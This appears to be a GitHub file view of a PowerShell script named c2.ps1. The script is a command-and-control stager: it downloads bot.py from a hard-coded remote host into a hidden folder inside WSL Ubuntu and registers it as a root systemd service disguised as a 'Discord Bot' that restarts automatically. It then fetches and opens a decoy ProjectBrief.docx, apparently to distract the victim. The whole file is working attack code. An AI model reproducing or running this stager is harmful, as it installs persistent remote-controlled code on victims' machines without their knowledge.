-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathc2.ps1
More file actions
40 lines (29 loc) · 1.15 KB
/
c2.ps1
File metadata and controls
40 lines (29 loc) · 1.15 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
Invoke-WebRequest -Uri "http://192.168.8.121/bot.py" -OutFile "$env:TEMP\bot.py"
wsl -d Ubuntu -- mkdir -p /home/victor/.bot
Copy-Item "$env:TEMP\bot.py" "\\wsl$\Ubuntu\home\victor\.bot\" -Force
Write-Output "[+] Setting execute permissions..."
wsl -d Ubuntu -- chmod +x /home/victor/.bot/bot.py
Write-Output "[+] Creating bot.service..."
$serviceContent = @"
[Unit]
Description=Discord Bot
After=network.target
[Service]
Type=simple
ExecStart=/usr/bin/python3 /home/victor/.bot/bot.py
Restart=always
RestartSec=3
User=root
[Install]
WantedBy=multi-user.target
"@
wsl -d Ubuntu -- bash -c "echo '$serviceContent' | sudo tee /etc/systemd/system/bot.service > /dev/null"
Write-Output "[+] Reloading systemd..."
wsl -d Ubuntu -- sudo systemctl daemon-reload
Write-Output "[+] Enabling service..."
wsl -d Ubuntu -- sudo systemctl enable bot.service
Write-Output "[+] Starting service..."
wsl -d Ubuntu -- sudo systemctl start bot.service
Invoke-WebRequest -Uri "http://192.168.8.121/ProjectBrief.docx" -OutFile "$env:TEMP\ProjectBrief.docx"
Start-Process "$env:TEMP\ProjectBrief.docx"
Write-Output "[+] Completed successfully."